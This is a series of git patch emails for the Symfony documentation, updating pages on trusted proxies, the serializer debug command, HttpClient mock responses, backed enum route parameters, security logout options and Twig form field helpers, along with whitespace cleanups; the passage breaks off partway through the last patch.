Subject: [PATCH 3249/5766] Suggest settings trusted proxies via env var for
 more traditional infrastructure

---
 deployment/proxies.rst | 33 ++++++++++++++++-----------------
 1 file changed, 16 insertions(+), 17 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5b12fb5e946..c3e339a7cdd 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -88,6 +88,22 @@ and what headers your reverse proxy uses to send information:
     to trust all "X-Forwarded-" headers, but that constant is deprecated since
     Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
 
+.. tip::
+
+    You can set a ``TRUSTED_PROXIES`` env var to configure proxies on a per-environment basis:
+
+    .. code-block:: bash
+
+        # .env
+        TRUSTED_PROXIES=127.0.0.1,10.0.0.0/8
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            trusted_proxies: '%env(TRUSTED_PROXIES)%'
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
@@ -136,23 +152,6 @@ That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
 other information.
 
-.. tip::
-
-    In applications using :ref:`Symfony Flex <symfony-flex>` you can set the
-    ``TRUSTED_PROXIES`` env var:
-
-    .. code-block:: bash
-
-        # .env
-        TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            trusted_proxies: '%env(TRUSTED_PROXIES)%'
-
 If you are also using a reverse proxy on top of your load balancer (e.g.
 `CloudFront`_), calling ``$request->server->get('REMOTE_ADDR')`` won't be
 enough, as it will only trust the node sitting directly above your application

From fde527f90a6f0939d1efb710c67217d0105bc108 Mon Sep 17 00:00:00 2001
From: Quentin Dreyer <quentin.dreyer@gmail.com>
Date: Wed, 26 Apr 2023 11:10:43 +0200
Subject: [PATCH 3250/5766] fix: update AsMessageHandler fromTransport case

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 1110378c3e7..a1d76eb3e57 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2032,7 +2032,7 @@ To do this, add the ``from_transport`` option to each handler. For example::
 
     use App\Message\UploadedImage;
 
-    #[AsMessageHandler(from_transport: 'image_transport')]
+    #[AsMessageHandler(fromTransport: 'image_transport')]
     class ThumbnailUploadedImageHandler
     {
         public function __invoke(UploadedImage $uploadedImage)
@@ -2046,7 +2046,7 @@ And similarly::
     // src/MessageHandler/NotifyAboutNewUploadedImageHandler.php
     // ...
 
-    #[AsMessageHandler(from_transport: 'async_priority_normal')]
+    #[AsMessageHandler(fromTransport: 'async_priority_normal')]
     class NotifyAboutNewUploadedImageHandler
     {
         // ...

From 2fe03a4329ce934c758877311d0df38574b05583 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFc=20Fr=C3=A9mont?= <lc.fremont@gmail.com>
Date: Fri, 14 Apr 2023 16:14:45 +0200
Subject: [PATCH 3251/5766] [Serializer] Add `debug:serializer` command

---
 serializer.rst | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 22b0a7b567c..94be1fa0540 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -491,6 +491,50 @@ value:
             $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
         };
 
+Debugging the Serializer
+------------------------
+
+Use the ``debug:serializer`` command to dump the serializer metadata of a
+given class:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:serializer 'App\Entity\Book'
+
+        App\Entity\Book
+        ---------------
+
+        +----------+------------------------------------------------------------+
+        | Property | Options                                                    |
+        +----------+------------------------------------------------------------+
+        | name     | [                                                          |
+        |          |   "groups" => [                                            |
+        |          |       "book:read",                                         |
+        |          |       "book:write",                                        |
+        |          |   ]                                                        |
+        |          |   "maxDepth" => 1,                                         |
+        |          |   "serializedName" => "book_name"                          |
+        |          |   "ignore" => false                                        |
+        |          |   "normalizationContexts" => [],                           |
+        |          |   "denormalizationContexts" => []                          |
+        |          | ]                                                          |
+        | isbn     | [                                                          |
+        |          |   "groups" => [                                            |
+        |          |       "book:read",                                         |
+        |          |   ]                                                        |
+        |          |   "maxDepth" => null,                                      |
+        |          |   "serializedName" => null                                 |
+        |          |   "ignore" => false                                        |
+        |          |   "normalizationContexts" => [],                           |
+        |          |   "denormalizationContexts" => []                          |
+        |          | ]                                                          |
+        +----------+------------------------------------------------------------+
+
+.. versionadded:: 6.3
+
+    The debug:serializer`` command was introduced in Symfony 6.3.
+
+
 Going Further with the Serializer
 ---------------------------------
 

From 07794a2cbb269c802e57220b45f916245791243c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 19:44:18 +0200
Subject: [PATCH 3252/5766] Fix build

---
 deployment/proxies.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index b2412b052e6..18377068cd6 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -82,12 +82,6 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
-.. deprecated:: 5.2
-
-    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
-    to trust all "X-Forwarded-" headers, but that constant is deprecated since
-    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
-
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the

From bf0d3a17bd816a0fd55ae3fa13bca727a10d09c2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 26 Apr 2023 21:56:19 +0200
Subject: [PATCH 3253/5766] Remove space end of line

---
 components/psr7.rst | 2 +-
 workflow.rst        | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index eb5ff8196a9..04a3b9148b5 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -29,7 +29,7 @@ Usage
 Converting from HttpFoundation Objects to PSR-7
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The bridge provides an interface of a factory called 
+The bridge provides an interface of a factory called
 `HttpMessageFactoryInterface`_ that builds objects implementing PSR-7
 interfaces from HttpFoundation objects.
 
diff --git a/workflow.rst b/workflow.rst
index 98b0d7c5798..b0dd2f2495a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -39,7 +39,7 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`.)
 
 Consider the following example for a blog post. A post can have these places:
-``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as 
+``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as
 follows:
 
 .. configuration-block::

From b68944c295306cce5de546541614127f07b7310d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 23 Apr 2023 11:18:29 +0200
Subject: [PATCH 3254/5766] [HttpClient] Add `JsonMockResponse`

---
 http_client.rst | 34 +++++++++++++++++++++++++++++-----
 1 file changed, 29 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e0742183175..1a51ee90084 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -740,7 +740,7 @@ Retry Over Several Base URIs
 
 The ``RetryableHttpClient`` can be configured to use multiple base URIs. This
 feature provides increased flexibility and reliability for making HTTP
-requests. Pass an array of base URIs as option ``base_uri`` when making a 
+requests. Pass an array of base URIs as option ``base_uri`` when making a
 request::
 
     $response = $client->request('GET', 'some-page', [
@@ -752,7 +752,7 @@ request::
         ],
     ]);
 
-When the number of retries is higher than the number of base URIs, the 
+When the number of retries is higher than the number of base URIs, the
 last base URI will be used for the remaining retries.
 
 If you want to shuffle the order of base URIs for each retry attempt, nest the
@@ -770,13 +770,13 @@ base URIs you want to shuffle in an additional array::
         ],
     ]);
 
-This feature allows for a more randomized approach to handling retries, 
+This feature allows for a more randomized approach to handling retries,
 reducing the likelihood of repeatedly hitting the same failed base URI.
 
-By using a nested array for the base URI, you can use this feature 
+By using a nested array for the base URI, you can use this feature
 to distribute the load among many nodes in a cluster of servers.
 
-You can also configure the array of base URIs using the ``withOptions()`` 
+You can also configure the array of base URIs using the ``withOptions()``
 method::
 
     $client = $client->withOptions(['base_uri' => [
@@ -2032,6 +2032,30 @@ Then configure Symfony to use your callback:
             ;
         };
 
+To return json, you would normally do::
+
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $response = new MockResponse(json_encode([
+            'foo' => 'bar',
+        ]), [
+        'response_headers' => [
+            'content-type' => 'application/json',
+        ],
+    ]);
+
+You can use :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse` instead::
+
+    use Symfony\Component\HttpClient\Response\JsonMockResponse;
+
+    $response = new JsonMockResponse([
+        'foo' => 'bar',
+    ]);
+
+.. versionadded:: 6.3
+
+    The ``JsonMockResponse`` was introduced in Symfony 6.3.
+
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 60d10cc30f412e9296864ce6358e1d01a9286db2 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 26 Apr 2023 10:46:33 +0000
Subject: [PATCH 3255/5766] Update _ux-libraries.rst.inc

---
 frontend/_ux-libraries.rst.inc | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index a40a51109f5..87a713abe0b 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -19,6 +19,7 @@
   (`see demo <https://ux.symfony.com/twig-component>`_)
 * `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
 * `ux-vue`_: Render `Vue`_ component from Twig (`see demo <https://ux.symfony.com/vue>`_)
+* `ux-svelte`_: Render `Svelte`_ component from Twig.
 
 .. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
@@ -33,6 +34,7 @@
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
 .. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
 .. _`ux-vue`: https://symfony.com/bundles/ux-vue/current/index.html
+.. _`ux-svelte`: https://symfony.com/bundles/ux-svelte/current/index.html
 .. _`Chart.js`: https://www.chartjs.org/
 .. _`Swup`: https://swup.js.org/
 .. _`React`: https://reactjs.org/

From b478e211735d72f4ccbcfbfcb6b35c9bee9fc54e Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 20 Apr 2023 11:33:34 -0400
Subject: [PATCH 3256/5766] [HttpFoundation] document `Request::getPayload()`

---
 components/http_foundation.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0711d4764e3..6f6cb5b524e 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -216,6 +216,18 @@ If the request body is a JSON string, it can be accessed using
 
     $data = $request->toArray();
 
+If the request data could be ``$_POST`` data *or* a JSON string, you can use
+the :method:`Symfony\\Component\\HttpFoundation\\Request::getPayload` method
+which returns an instance of :class:`Symfony\\Component\\HttpFoundation\\InputBag`
+wrapping this data::
+
+    $data = $request->getPayload();
+
+.. versionadded:: 6.3
+
+    The :method:`Symfony\\Component\\HttpFoundation\\Request::getPayload`
+    method was introduced in Symfony 6.3.
+
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~
 

From 3637cf96074f340af38a6f9e6b6ead7f5f2b6d8c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Apr 2023 11:44:14 +0200
Subject: [PATCH 3257/5766] Update dependencies of the docs builder used in
 tets

---
 _build/composer.lock | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index d45dc483946..d863be84ad9 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.2",
+            "version": "v0.20.5",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08"
+                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/6486fd734bb151a05f592b06ac1569c62d338a08",
-                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/11d9d81e3997e771ad1a57eabaa51fc22c500b35",
+                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35",
                 "shasum": ""
             },
             "require": {
@@ -514,9 +514,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.2"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.5"
             },
-            "time": "2023-04-04T06:17:34+00:00"
+            "time": "2023-04-28T09:41:45+00:00"
         },
         {
             "name": "symfony/console",

From 0df46f729b83e3d5865325a20e8fb4eac08c0ca1 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Fri, 21 Apr 2023 13:57:57 +0200
Subject: [PATCH 3258/5766] [Routing] Backed Enum as route parameter

---
 routing.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/routing.rst b/routing.rst
index be3e6bf49a9..799112bcaf1 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1245,6 +1245,35 @@ A possible solution is to change the parameter requirements to be more permissiv
     as the token and the format will be empty. This can be solved by replacing
     the ``.+`` requirement by ``[^.]+`` to allow any character except dots.
 
+Backed Enum as Parameter
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+PHP 8.1 add support for Backed Enum, they can be used as route parameter and
+automatically converted to their value by Symfony.
+
+.. versionadded:: 6.3
+
+    Using a `\BackedEnum` as route parameter is available since Symfony 6.3.
+
+.. code-block:: php-attributes
+
+    // src/Controller/DefaultController.php
+    namespace App\Controller;
+
+    use App\Enum\SuitsEnum;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class DefaultController extends AbstractController
+    {
+        #[Route('/cards/{suit}', name: 'cards_suit')]
+        public function list(SuitsEnum $suit = SuitsEnum::Diamonds): Response
+        {
+            // ...
+        }
+    }
+
 .. _routing-alias:
 
 Route Aliasing

From bfe27fc4af0da54a6e69eb75adf2eee10202b558 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Apr 2023 16:47:51 +0200
Subject: [PATCH 3259/5766] Tweaks

---
 routing.rst | 59 +++++++++++++++++++++++++++--------------------------
 1 file changed, 30 insertions(+), 29 deletions(-)

diff --git a/routing.rst b/routing.rst
index 799112bcaf1..20ab592854d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -985,6 +985,35 @@ Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-val
 to learn about the ``#[MapEntity]`` attribute that can be used to customize the
 database queries used to fetch the object from the route parameter.
 
+Backed Enum Parameters
+~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The support of ``\BackedEnum`` as route parameters was introduced Symfony 6.3.
+
+You can use PHP `backed enumerations`_ as route parameters because Symfony will
+convert them automatically to their scalar values.
+
+.. code-block:: php-attributes
+
+    // src/Controller/DefaultController.php
+    namespace App\Controller;
+
+    use App\Enum\OrderStatusEnum;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class OrderController extends AbstractController
+    {
+        #[Route('/orders/list/{status}', name: 'list_orders_by_status')]
+        public function list(OrderStatusEnum $status = OrderStatusEnum::Paid): Response
+        {
+            // ...
+        }
+    }
+
 Special Parameters
 ~~~~~~~~~~~~~~~~~~
 
@@ -1245,35 +1274,6 @@ A possible solution is to change the parameter requirements to be more permissiv
     as the token and the format will be empty. This can be solved by replacing
     the ``.+`` requirement by ``[^.]+`` to allow any character except dots.
 
-Backed Enum as Parameter
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-PHP 8.1 add support for Backed Enum, they can be used as route parameter and
-automatically converted to their value by Symfony.
-
-.. versionadded:: 6.3
-
-    Using a `\BackedEnum` as route parameter is available since Symfony 6.3.
-
-.. code-block:: php-attributes
-
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
-
-    use App\Enum\SuitsEnum;
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class DefaultController extends AbstractController
-    {
-        #[Route('/cards/{suit}', name: 'cards_suit')]
-        public function list(SuitsEnum $suit = SuitsEnum::Diamonds): Response
-        {
-            // ...
-        }
-    }
-
 .. _routing-alias:
 
 Route Aliasing
@@ -2700,3 +2700,4 @@ Learn more about Routing
 .. _`PHP regular expressions`: https://www.php.net/manual/en/book.pcre.php
 .. _`PCRE Unicode properties`: https://www.php.net/manual/en/regexp.reference.unicode.php
 .. _`FOSJsRoutingBundle`: https://github.com/FriendsOfSymfony/FOSJsRoutingBundle
+.. _`backed enumerations`: https://www.php.net/manual/en/language.enumerations.backed.php

From cde41e8619b22ebe3f73f2cee3679a34108a6937 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 1 May 2023 18:12:41 +0200
Subject: [PATCH 3260/5766] Minor typo

Page: https://symfony.com/doc/5.4/components/options_resolver.html
---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 78266c2a309..3e7c657b79f 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -51,7 +51,7 @@ check which options are set::
     }
 
 Also, the default values of the options are buried in the business logic of your
-code. Use the :phpfunction:`array_replace` to fix that::
+code. Use :phpfunction:`array_replace` to fix that::
 
     class Mailer
     {

From b212cbb87aa67636528444cce1acfe8337b9884d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 May 2023 09:33:38 +0200
Subject: [PATCH 3261/5766] Fix the file name of a controller in a code example

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 20ab592854d..3d47668a9b6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -997,7 +997,7 @@ convert them automatically to their scalar values.
 
 .. code-block:: php-attributes
 
-    // src/Controller/DefaultController.php
+    // src/Controller/OrderController.php
     namespace App\Controller;
 
     use App\Enum\OrderStatusEnum;

From 39bca2d7a404c067daf9c4fdeb3e4bc98975ce61 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Sat, 29 Apr 2023 11:13:51 +0200
Subject: [PATCH 3262/5766] Fix missing link

---
 frontend/_ux-libraries.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 87a713abe0b..a9d8f15acde 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -38,6 +38,7 @@
 .. _`Chart.js`: https://www.chartjs.org/
 .. _`Swup`: https://swup.js.org/
 .. _`React`: https://reactjs.org/
+.. _`Svelte`: https://svelte.dev/
 .. _`Turbo Drive`: https://turbo.hotwired.dev/
 .. _`Typed`: https://github.com/mattboldt/typed.js/
 .. _`Vue`: https://vuejs.org/

From 24f8c0fabcd1e868b449d0515633cb46d46074c4 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Tue, 2 May 2023 13:48:00 +0200
Subject: [PATCH 3263/5766] Remove mentions of httplug's factories

---
 http_client.rst | 43 +++----------------------------------------
 1 file changed, 3 insertions(+), 40 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 1a51ee90084..693fc3dc59e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1619,47 +1619,10 @@ The `HTTPlug`_ v1 specification was published before PSR-18 and is superseded by
 it. As such, you should not use it in newly written code. The component is still
 interoperable with libraries that require it thanks to the
 :class:`Symfony\\Component\\HttpClient\\HttplugClient` class. Similarly to
-:class:`Symfony\\Component\\HttpClient\\Psr18Client` implementing relevant parts of PSR-17,
-``HttplugClient`` also implements the factory methods defined in the related
-``php-http/message-factory`` package.
+:class:`Symfony\\Component\\HttpClient\\Psr18Client`, ``HttplugClient`` also
+implements relevant parts of PSR-17.
 
-.. code-block:: terminal
-
-    # Let's suppose php-http/httplug is already required by the lib you want to use
-
-    # installs an efficient implementation of response and stream factories
-    # with autowiring aliases provided by Symfony Flex
-    $ composer require nyholm/psr7
-
-    # alternatively, install the php-http/discovery package to auto-discover
-    # any already installed implementations from common vendors:
-    # composer require php-http/discovery
-
-Let's say you want to instantiate a class with the following constructor,
-that requires HTTPlug dependencies::
-
-    use Http\Client\HttpClient;
-    use Http\Message\RequestFactory;
-    use Http\Message\StreamFactory;
-
-    class SomeSdk
-    {
-        public function __construct(
-            HttpClient $httpClient,
-            RequestFactory $requestFactory,
-            StreamFactory $streamFactory
-        )
-        // [...]
-    }
-
-Because ``HttplugClient`` implements the three interfaces, you can use it this way::
-
-    use Symfony\Component\HttpClient\HttplugClient;
-
-    $httpClient = new HttplugClient();
-    $apiClient = new SomeSdk($httpClient, $httpClient, $httpClient);
-
-If you'd like to work with promises, ``HttplugClient`` also implements the
+If you'd like to work with promises, ``HttplugClient`` implements the
 ``HttpAsyncClient`` interface. To use it, you need to install the
 ``guzzlehttp/promises`` package:
 

From e95b95a36acff0d7e9e417882b81e7ccd4b33130 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 2 May 2023 23:19:36 +0200
Subject: [PATCH 3264/5766] Improve security logout options

---
 reference/configuration/security.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 27869dd074d..b811f33e2ac 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -448,10 +448,13 @@ redirected to the ``default_target_path`` to avoid a redirection loop.
     For historical reasons, and to match the misspelling of the HTTP standard,
     the option is called ``use_referer`` instead of ``use_referrer``.
 
-**Options Related to Logout Configuration**
+logout
+~~~~~~
+
+You can configure logout options.
 
 invalidate_session
-~~~~~~~~~~~~~~~~~~
+..................
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -466,14 +469,14 @@ the current firewall and not the other ones.
 .. _reference-security-logout-success-handler:
 
 ``path``
-~~~~~~~~
+........
 
 **type**: ``string`` **default**: ``/logout``
 
 The path which triggers logout. You need to set up a route with a matching path.
 
 target
-~~~~~~
+......
 
 **type**: ``string`` **default**: ``/``
 
@@ -482,7 +485,7 @@ starts with ``http://`` or ``https://``) or the route name (otherwise) to
 redirect after logout.
 
 success_handler
-~~~~~~~~~~~~~~~
+...............
 
 .. deprecated:: 5.1
 
@@ -501,14 +504,14 @@ If it is set, the logout ``target`` option will be ignored.
 .. _reference-security-logout-csrf:
 
 csrf_parameter
-~~~~~~~~~~~~~~
+..............
 
 **type**: ``string`` **default**: ``'_csrf_token'``
 
 The name of the parameter that stores the CSRF token value.
 
 csrf_token_generator
-~~~~~~~~~~~~~~~~~~~~
+....................
 
 **type**: ``string`` **default**: ``null``
 
@@ -516,7 +519,7 @@ The ``id`` of the service used to generate the CSRF tokens. Symfony provides a
 default service whose ID is ``security.csrf.token_manager``.
 
 csrf_token_id
-~~~~~~~~~~~~~
+.............
 
 **type**: ``string`` **default**: ``'logout'``
 

From 06eb904b9db53efb1ca848619d0e18b8b2401b3b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 2 May 2023 22:21:43 +0200
Subject: [PATCH 3265/5766] Use Doctor RST 1.45.0 and new Rule
 `RemoveTrailingWhitespace`

---
 .doctor-rst.yaml                   | 1 +
 .github/workflows/ci.yaml          | 2 +-
 reference/constraints/Traverse.rst | 2 +-
 3 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index bf037f27716..0fc471cfee8 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -44,6 +44,7 @@ rules:
     only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
     php_prefix_before_bin_console: ~
+    remove_trailing_whitespace: ~
     replace_code_block_types: ~
     replacement: ~
     short_array_syntax: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 835cf386072..79f2c12e4fb 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.44.1
+                uses: docker://oskarstark/doctor-rst:1.45.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 2302139cbb9..01dcd4f779c 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -112,7 +112,7 @@ that all have constraints on their properties.
             /**
              * @var Collection|Book[]
              */
-            #[ORM\ManyToMany(targetEntity: Book::class)] 
+            #[ORM\ManyToMany(targetEntity: Book::class)]
             protected $books;
 
             // some other properties

From 91bbf2a31d1de07633a6efa9de9b00c87d626e92 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 May 2023 09:59:16 +0200
Subject: [PATCH 3266/5766] Remove trailing whitespace

---
 doctrine.rst                      | 4 ++--
 form/create_custom_field_type.rst | 2 +-
 form/form_collections.rst         | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index f3f7b624995..cca47d1b0f4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -390,8 +390,8 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 13** The ``EntityManagerInterface $entityManager`` argument tells Symfony 
-  to :ref:`inject the Entity Manager service <services-constructor-injection>` into 
+* **line 13** The ``EntityManagerInterface $entityManager`` argument tells Symfony
+  to :ref:`inject the Entity Manager service <services-constructor-injection>` into
   the controller method. This object is responsible for saving objects to, and
   fetching objects from, the database.
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 003de0c6f3a..6729e0974ad 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -268,7 +268,7 @@ to define, validate and process their values::
 
             // optionally you can transform the given values for the options to
             // simplify the further processing of those options
-            $resolver->setNormalizer('allowed_states', static function (Options $options, $states): ?array 
+            $resolver->setNormalizer('allowed_states', static function (Options $options, $states): ?array
             {
                 if (null === $states) {
                     return $states;
diff --git a/form/form_collections.rst b/form/form_collections.rst
index e320d85989f..4fd05bc311d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -355,7 +355,7 @@ Then create the controller:
 .. code-block:: javascript
 
     // assets/controllers/form-collection_controller.js
-    
+
     import { Controller } from '@hotwired/stimulus';
 
     export default class extends Controller {
@@ -371,7 +371,7 @@ Then create the controller:
             const item = document.createElement('li');
             item.innerHTML = this.prototypeValue.replace(/__name__/g, this.indexValue);
             this.collectionContainerTarget.appendChild(item);
-            this.indexValue++;           
+            this.indexValue++;
         }
     }
 

From 9e211756bc22f3d5f8bb9eea8623a9a9293829a9 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Tue, 11 Apr 2023 15:25:35 +0200
Subject: [PATCH 3267/5766] [Form] Add some basic docs for Twig Form field
 helpers

---
 form/form_customization.rst  | 43 ++++++++++++++++++++++++++++++++++++
 reference/twig_reference.rst |  6 +++++
 2 files changed, 49 insertions(+)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3551ed2344e..9db536dfbd6 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -87,6 +87,49 @@ control over how each form field is rendered, so you can fully customize them:
     Later in this article you can find the full reference of these Twig
     functions with more usage examples.
 
+.. _reference-forms-twig-field-helpers:
+
+Form Field Helpers
+------------------
+
+The ``form_*()`` helpers render each part of the form field, including all its needed HTML elements. Most developers
+like this behavior, but some designers struggle with it, because it hides all the HTML in form themes which are not
+easy to manage by them.
+
+That's why some Twig form helpers are available to render the value of each form field part without adding any
+HTML around it:
+
+* ``field_name``
+* ``field_value``
+* ``field_label``
+* ``field_help``
+* ``field_errors``
+* ``field_choices`` (an iterator of the field choices; e.g. for ``<select>``)
+
